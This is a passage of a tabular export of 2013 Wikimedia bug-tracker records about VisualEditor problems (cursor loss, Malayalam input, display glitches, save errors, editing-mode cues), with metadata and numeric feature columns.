It looks like this may be a dup of bug 50380.",,,1373758575,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-y2smkmxkc74umzi22ziq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3043478260869565,0.9130434782608695,"I cant reproduce this using the example given.

It looks like this may be a dup of bug 50380."
52519,VisualEditor: Deleting all content removes input marker,"When marking all content on a page, and hit «delete», then, while the content is removed, also the input marker is removed, so you can't input anything new directly.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372711380,1374079583.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-devcsvnwd5brcea5luka,task_description,resolved,True,c1,3,False,False,True,0,,2.0,2.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,5.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.732142857142857,0.6785714285714286,"When marking all content on a page, and hit «delete», then, while the content is removed, also the input marker is removed, so you can't input anything new directly.

--------------------------
**Version**: unspecified
**Severity**: normal"
244066,VisualEditor: Deleting all content removes input marker,"(In reply to comment #1)
> Is this the same as Bug 50947 and/or Bug 51169?

Yes; merging.

*** This bug has been marked as a duplicate of bug 50947 ***",,,1374079583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-devcsvnwd5brcea5luka,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.727272727272727,0.7878787878787878,"(In reply to comment #1)
QUOTE

Yes; merging.

*** This bug has been marked as a duplicate of bug 50947 ***"
244061,VisualEditor: Deleting all content removes input marker,Is this the same as Bug 50947 and/or Bug 51169?,,,1374077413,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-devcsvnwd5brcea5luka,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.9090909090909091,Is this the same as Bug 50947 and/or Bug 51169?
52507,Unexpected editing behavior for typing Malayalam text,"**Author:** `harshanh1979`

**Description:**
I have tested VisualEditor at ml.wikipedia at the following page

https://ml.wikipedia.org/wiki/%E0%B4%AC%E0%B5%BC%E0%B4%A4%E0%B5%8D%E0%B4%A4%E0%B4%B2%E0%B5%8B%E0%B4%AE%E0%B4%BF%E0%B4%AF%E0%B5%8B_%E0%B4%A1%E0%B4%AF%E0%B4%B8%E0%B5%8D

I tried to correct the text ൻറെ to ന്റെ. But the editor doesnt allow to input the characters ് െ etc. Unwanted changes happens somewhere else in the paragraph while trying to input the above mentioned characters.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Linux
**Platform**: PC
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50566",Needs Triage,90.0,1372699740,1374044484.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-p2n3tks426uods6v37cf,task_description,declined,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,5.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.5,1.0,0.5,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,5.0,4.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,3.536363636363636,0.6,"**Author:** CODE

**Description:**
I have tested VisualEditor at ml.wikipedia at the following page

URL

I tried to correct the text ൻറെ to ന്റെ. But the editor doesnt allow to input the characters ് െ etc. Unwanted changes happens somewhere else in the paragraph while trying to input the above mentioned characters.

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Linux
**Platform**: PC
**See Also**:
URL"
243373,Unexpected editing behavior for typing Malayalam text,I had this problem earlier with Ubuntu/Firefox 22. Now it is found that the problem was rectified.,,,1373996005,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-p2n3tks426uods6v37cf,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,19.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.9047619047619047,0.9047619047619048,I had this problem earlier with Ubuntu/Firefox 22. Now it is found that the problem was rectified.
52468,VisualEditor: thick line appearing,"Screenshot

See screenshot, from https://en.wikipedia.org/wiki/Jitter_%28disambiguation%29?veaction=edit - that line near the top shouldn't be there.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11385}",Needs Triage,90.0,1372613820,1384204290.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wf4a2uikjvfox37upsq3,task_description,declined,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.6521739130434783,"Screenshot

See screenshot, from URL - that line near the top shouldn't be there.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11385}"
240951,VisualEditor: thick line appearing,"Created attachment 13766
No thick line

**Attached**: {F11386}",,,1384204317,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wf4a2uikjvfox37upsq3,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.3529411764705883,0.8235294117647058,"Created attachment 13766
No thick line

**Attached**: {F11386}"
240942,VisualEditor: thick line appearing,"The thick line is not appearing now near the top of this page.Checked in both FireFox 20 and chrome Version 26.0.1410.65 using MAC OS X 10.8.5

See the screenshots attached.

Therefore changing the status to Resolved-worksforme for now,if you get this problem again,please do reopen the bug.",,,1384204280,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wf4a2uikjvfox37upsq3,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,17.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.186440677966102,0.847457627118644,"The thick line is not appearing now near the top of this page.Checked in both FireFox 20 and chrome Version 26.0.1410.65 using MAC OS X 10.8.5

See the screenshots attached.

Therefore changing the status to Resolved-worksforme for now,if you get this problem again,please do reopen the bug."
52467,VisualEditor: Text wrongly being given pre-formatted format,"Screenshot

See screenshot - from https://en.wikipedia.org/wiki/Iphigenia?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11382}",Needs Triage,90.0,1372613700,1385374964.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yaappft5pc7quebc2sf7,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.657142857142857,0.5428571428571428,"Screenshot

See screenshot - from URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11382}"
240899,VisualEditor: Text wrongly being given pre-formatted format,Fixed for some time due to changes in Parsoid. Sorry for the slowness of updating.,,,1385374964,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yaappft5pc7quebc2sf7,task_subcomment,,True,c1,3,True,,,21,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,35.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8823529411764706,Fixed for some time due to changes in Parsoid. Sorry for the slowness of updating.
52466,VisualEditor: Links created in the userspace are treated as links to subpages,"If I open the VisualEditor and add a link to say, ""Edward Coke (politician)"" in my sandbox, and then right click on the link and open it in a new tab, it takes me to https://en.wikipedia.org/wiki/User:Okeyes_%28WMF%29/Edward_Coke_%28politician%29

This seems somewhat suboptimal.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372612740,1377445192.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4i77geu65qzvj7wexwob,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,4.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.5223880597014925,0.6716417910447762,"If I open the VisualEditor and add a link to say, ""Edward Coke (politician)"" in my sandbox, and then right click on the link and open it in a new tab, it takes me to URL

This seems somewhat suboptimal.

--------------------------
**Version**: unspecified
**Severity**: normal"
240855,VisualEditor: Links created in the userspace are treated as links to subpages,"

*** This bug has been marked as a duplicate of bug 48915 ***",,,1377445192,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4i77geu65qzvj7wexwob,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48915 ***"
52463,VisualEditor: Error saving data to server: Failed request: error.,"We have users reporting errors when trying to save on https://en.wikipedia.org/wiki/Colorado_14ers - can someone take a look at the log and work out what's happening? They were only adding text and a reference.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372608360,1385375109.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-my7qaki5z5rpjdhjrelx,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,9.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,3.8703703703703702,0.7962962962962963,"We have users reporting errors when trying to save on URL - can someone take a look at the log and work out what's happening? They were only adding text and a reference.

--------------------------
**Version**: unspecified
**Severity**: normal"
240730,VisualEditor: Error saving data to server: Failed request: error.,"Performance issue, fixed some time ago; sorry for slowness in replying.",,,1385375109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-my7qaki5z5rpjdhjrelx,task_subcomment,,True,c1,3,True,,,21,,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,1.0,"Performance issue, fixed some time ago; sorry for slowness in replying."
240721,VisualEditor: Error saving data to server: Failed request: error.,"It should be the same happening here http://en.wikipedia.org/w/index.php?title=U.S._Route_377_in_Texas&diff=562454441&oldid=506596182 although the user reports seeing the message _and_ still, the edit was saved.

http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Received_error_though_edit_was_saved",,,1372757474,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-my7qaki5z5rpjdhjrelx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,11.0,4.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.814814814814815,0.8148148148148148,"It should be the same happening here URL although the user reports seeing the message _and_ still, the edit was saved.

URL"
52456,"VE feature request: visual ""tell"" when editing","Can something - perhaps a faint background color or an outline - be added to make clear when one is in editing mode?

Copied from http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Make_editing_view_more_distinctive_from_article

I like the visual editor, and I predict that more people will edit WP when it's introduced. However, there is one thing that bugs me: After I clicked the ""Edit"" Tab, the view of the article does change only slightly - so sometimes I do not know that I am already editing, especially when I scroll down the article. I'd suggest a visual hint: A modal popup, a slim outline of the editing area or a more distinctive design of the tool bar, for example. Mateng (talk) 12:00, 30 June 2013 (UTC)

Hear, hear! Perhaps a (faint) background colour? There needs to be some visual clue. JohnCD (talk) 12:17, 30 June 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372595400,1373852659.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_description,resolved,True,c1,2,False,False,True,-1,,0.5,0.5,0.0,0.5,0.5,5.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,1.0,4.0,0.0,7.0,6.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,6.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,14.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,2.5,14.0,2.5,1.5,7.5,0.0,0.0,0.5,0.0,4.0,0.0,3.5,0.0,5.0,6.0,4.0,1.0,1.0,0.0,5.0,0.0,2.0,3.5,0.5,1.0,1.0,0.0,0.0,3.5833333333333335,0.6927083333333333,"Can something - perhaps a faint background color or an outline - be added to make clear when one is in editing mode?

Copied from URL

I like the visual editor, and I predict that more people will edit WP when it's introduced. However, there is one thing that bugs me: After I clicked the ""Edit"" Tab, the view of the article does change only slightly - so sometimes I do not know that I am already editing, especially when I scroll down the article. I'd suggest a visual hint: A modal popup, a slim outline of the editing area or a more distinctive design of the tool bar, for example. Mateng (talk) 12:00, 30 June 2013 (UTC)

Hear, hear! Perhaps a (faint) background colour? There needs to be some visual clue. JohnCD (talk) 12:17, 30 June 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal"
240291,"VE feature request: visual ""tell"" when editing","These are already covered by bug 48008 (""There is not enough UI difference between reading and editing mode"").

*** This bug has been marked as a duplicate of bug 48008 ***",,,1373852659,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.4878048780487805,0.7804878048780488,"These are already covered by bug 48008 (""There is not enough UI difference between reading and editing mode"").

*** This bug has been marked as a duplicate of bug 48008 ***"
240287,"VE feature request: visual ""tell"" when editing","Another related request: 

It would be very nice to show changed text in a different font and/or color (or bg color), while editing. It helps seeing what you are editing. --Wickey-nl (talk) 09:34, 5 July 2013 (UTC)",,,1373239841,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,10.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,6.0,6.0,8.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,3.4901960784313726,0.8235294117647058,"Another related request: 

It would be very nice to show changed text in a different font and/or color (or bg color), while editing. It helps seeing what you are editing. --Wickey-nl (talk) 09:34, 5 July 2013 (UTC)"
240280,"VE feature request: visual ""tell"" when editing","Another editor suggests:

I think various editors have said this before, but I'm feeling tired right now and have found it more of a problem than usually: a page open in VE needs to look much more distinctive. Otherwise it would be too easy to forget to Save Page and then absentmindedly close the tab on a page of edits. (Especially when juggling several tabs because checking different pages - even more so because Navigation Popups don't work in VE!). Even the header bar is almost monochrome. Could we have something like a red line all the way down the left-hand margin? Perhaps it would need to be an option, as some people would hate it. But I'd certainly find it helpful and I know I'm not alone. PamD 22:00, 4 July 2013 (UTC)",,,1372978408,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,False,,,0,,2.5,0.5,0.0,0.0,1.5,7.0,2.0,1.0,0.0,0.0,2.5,2.5,0.0,0.5,0.0,3.5,0.0,11.5,9.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,5.5,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,5.0,2.0,12.0,1.5,3.0,7.5,0.0,0.0,0.5,0.0,6.0,0.0,2.0,0.0,6.5,9.0,4.5,0.5,0.0,0.0,6.5,0.0,0.5,3.0,0.0,1.5,1.5,0.0,0.0,3.810126582278481,0.8417721518987342,"Another editor suggests:

I think various editors have said this before, but I'm feeling tired right now and have found it more of a problem than usually: a page open in VE needs to look much more distinctive. Otherwise it would be too easy to forget to Save Page and then absentmindedly close the tab on a page of edits. (Especially when juggling several tabs because checking different pages - even more so because Navigation Popups don't work in VE!). Even the header bar is almost monochrome. Could we have something like a red line all the way down the left-hand margin? Perhaps it would need to be an option, as some people would hate it. But I'd certainly find it helpful and I know I'm not alone. PamD 22:00, 4 July 2013 (UTC)"
52455,VisualEditor: Insert media dialog is borked,"screenshot

It was working fine previously. I can reproduce this on both fr.wp and en.wp. See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11359}",Needs Triage,90.0,1372595100,1372620610.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-adbbasada34enlaaq6ns,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7755102040816326,0.6122448979591837,"screenshot

It was working fine previously. I can reproduce this on both fr.wp and en.wp. See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11359}"
240255,VisualEditor: Insert media dialog is borked,"

